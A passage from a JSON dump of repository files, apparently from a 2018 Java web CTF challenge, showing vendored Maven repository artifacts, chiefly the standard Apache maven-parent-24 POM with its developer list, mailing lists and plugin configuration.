<report>jxr</report>\n                  <report>test-jxr</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!-- Taglist Plugin must be executed after JXR Plugin -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.9</version>\n            <configuration>\n              <notimestamp>true</notimestamp>\n              <links>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n              <detectLinks>true</detectLinks>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.apache.maven.plugin-tools</groupId>\n                  <artifactId>maven-plugin-tools-javadoc</artifactId>\n                  <version>3.2</version>\n                </tagletArtifact>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>findbugs-maven-plugin</artifactId>\n            <version>2.5.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.sonar-plugins</groupId>\n            <artifactId>maven-report</artifactId>\n            <version>0.1</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/23/maven-parent-23.pom.sha1",
    "content": "f92ae4baba6616609a29f6287626ee3f50ed7d6e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/24/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:54 CST 2018\nmaven-parent-24.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/24/maven-parent-24.pom",
    "content": "\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/maven/ -->\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>14</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>24</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n  <licenses><!-- TODO remove when upgrading to ASF-15 -->\n    <license>\n      <name>Apache License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>stephenc</id>\n      <name>Stephen Connolly</name>\n      <email>stephenc@apache.org</email>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Héritier</name>\n      <email>aheritier@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <email>baerrach@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Australia/Adelaide</timezone>\n    </developer>\n    <developer>\n      <id>bimargulies</id>\n      <name>Benson Margulies</name>\n      <email>bimargulies@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>America/New_York</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Hervé Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>krosenvold</id>\n      <name>Kristian Rosenvold</name>\n      <email>krosenvold@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>markh</id>\n      <name>Mark Hobson</name>\n      <email>markh@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Australia/Melbourne</timezone>\n    </developer>\n    <developer>\n      <id>pgier</id>\n      <name>Paul Gier</name>\n      <email>pgier@apache.org</email>\n      <organization>Red Hat</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rfscholte</id>\n      <name>Robert Scholte</name>\n      <email>rfscholte@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Europe/Amsterdam</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>struberg</id>\n      <name>Mark Struberg</name>\n      <email>struberg@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wfay</id>\n      <name>Wayne Fay</name>\n      <email>wfay@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>agudian</id>\n      <name>Andreas Gudian</name>\n      <email>agudian@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Berlin</timezone>\n    </developer>\n    <developer>\n      <id>andham</id>\n      <name>Anders Hammar</name>\n      <email>andham@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bdemers</id>\n      <name>Brian Demers</name>\n      <organization>Sonatype</organization>\n      <email>bdemers@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>cstamas</id>\n      <name>Tamas Cservenak</name>\n      <organization>Sonatype</organization>\n      <email>cstamas@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dbradicich</id>\n      <name>Damian Bradicich</name>\n      <organization>Sonatype</organization>\n      <email>dbradicich@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>godin</id>\n      <name>Evgeny Mandrikov</name>\n      <organization>SonarSource</organization>\n      <email>godin@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+3</timezone>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>ifedorenko</id>\n      <name>Igor Fedorenko</name>\n      <email>igor@ifedorenko.com</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>imod</id>\n      <name>Dominik Bartholdi</name>\n      <email>imod@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Zurich</timezone>\n    </developer>     \n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>khmarbaise</id>\n      <name>Karl Heinz Marbaise</name>\n      <email>khmarbaise@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mauro</id>\n      <name>Mauro Talevi</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mfriedenhagen</id>\n      <name>Mirko Friedenhagen</name>\n      <email>mfriedenhagen@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>michaelo</id>\n      <name>Michael Osipov</name>\n      <email>michaelo@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Berlin</timezone>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas de Loof</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>simonetripodi</id>\n      <name>Simone Tripodi</name>\n      <email>simonetripodi@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>tchemit</id>\n      <name>Tony Chemit</name>\n      <email>tchemit@apache.org</email>\n      <organization>CodeLutin</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <!--End Committers-->\n\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n    <developer>\n      <id>jruiz</id>\n      <name>Johnny Ruiz III</name>\n      <email>jruiz@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Users-f40176.html</otherArchive>\n        <otherArchive>http://maven-users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Developers-f142166.html</otherArchive>\n        <otherArchive>http://maven-dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Issues-f219593.html</otherArchive>\n        <otherArchive>http://maven-issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Commits-f277168.html</otherArchive>\n        <otherArchive>http://maven-commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Announcements-f326045.html</otherArchive>\n        <otherArchive>http://maven-announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Notifications-f301718.html</otherArchive>\n        <otherArchive>http://maven-notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-24</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-24</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-24</url>\n  </scm>\n\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/view/M-R/view/Maven</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <maven.compiler.source>1.5</maven.compiler.source>\n    <maven.compiler.target>1.5</maven.compiler.target>    \n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n    <maven.site.cache>${user.home}/maven-sites</maven.site.cache>\n    <maven.site.path>../..</maven.site.path><!-- to be overridden -->\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-annotations</artifactId>\n        <version>3.2</version>\n        <scope>provided</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- The Maven universe targets Java 1.5 -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <configuration><!-- TODO remove when upgrading to ASF-15 -->\n            <source>${maven.compiler.source}</source>\n            <target>${maven.compiler.target}</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>3.2</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.8.1</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <configuration>\n            <checkoutDirectory>${maven.site.cache}/${maven.site.path}</checkoutDirectory>\n            <tryUpdate>true</tryUpdate>\n          </configuration>\n        </plugin>\n        <!-- Plexus description generator is either plexus-maven-plugin or plexus-component-metadata -->\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>1.5.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>findbugs-maven-plugin</artifactId>\n          <version>2.5.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.5</version>\n          <configuration>\n            <useReleaseProfiles>true</useReleaseProfiles>\n            <releaseProfiles>apache-release,rat</releaseProfiles>\n            <goals>deploy</goals>\n            <arguments>${arguments}</arguments>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>enforce-bytecode-version</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <enforceBytecodeVersion>\n                  <maxJdkVersion>1.5</maxJdkVersion>\n                </enforceBytecodeVersion>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n          <execution>\n            <id>ban-known-bad-maven-versions</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireMavenVersion>\n                  <version>(,2.1.0),(2.1.0,2.2.0),(2.2.0,)</version>\n                  <message>Maven 2.1.0 and 2.2.0 produce incorrect GPG signatures and checksums respectively.</message>\n                </requireMavenVersion>\n                <requireMavenVersion>\n                  <version>(,3.0),[3.0.4,)</version>\n                  <message>Maven 3.0 through 3.0.3 inclusive do not pass correct settings.xml to Maven Release Plugin.</message>\n                </requireMavenVersion>\n              </rules>\n            </configuration>\n          </execution>\n        </executions>\n        <dependencies>\n          <dependency>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>extra-enforcer-rules</artifactId>\n            <version>1.0-beta-2</version>\n          </dependency>\n        </dependencies>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.7</version>\n        <configuration>\n          <dependencyLocationsEnabled>false</dependencyLocationsEnabled><!-- waiting for MPIR-267 -->\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>dependency-info</report>\n              <report>modules</report>\n              <report>license</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.rat</groupId>\n            <artifactId>apache-rat-plugin</artifactId>\n            <inherited>true</inherited>\n            <executions>\n              <execution>\n                <id>check</id>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n                <configuration>\n                  <!-- phase 1: measure the size of the issue -->\n                  <ignoreErrors>true</ignoreErrors>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>rat</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.rat</groupId>\n            <artifactId>apache-rat-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>verify</phase>\n                <goals>\n                  <!-- rat, not check, because we've got lots of noncomplaint stuff -->\n                  <goal>rat</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have 